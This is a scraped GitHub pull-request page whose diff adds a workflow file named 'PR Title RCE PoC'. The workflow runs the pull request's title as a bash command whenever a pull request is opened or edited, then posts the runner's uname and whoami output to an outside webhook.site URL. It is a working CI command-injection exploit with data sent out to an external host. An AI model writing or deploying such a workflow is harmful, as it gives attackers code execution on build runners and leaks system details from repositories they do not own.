Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions .github/workflows/gouri.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
name: PR Title RCE PoC

on:
pull_request:
types: [opened, edited]

jobs:
execute-pr-title:
runs-on: ubuntu-latest
permissions:
contents: read

steps:
- name: Extract and Execute PR Title
env:
PAYLOAD: ${{ github.event.pull_request.title }}
run: |
echo "[+] Executing PR title: $PAYLOAD"
bash -c "$PAYLOAD" | tee output.txt

- name: Send Output to Webhook
run: |
uname_out=$(uname -a)
whoami_out=$(whoami)
curl -X POST https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1 \
-H "Content-Type: application/json" \
-d "{\"uname\": \"$uname_out\", \"whoami\": \"$whoami_out\"}"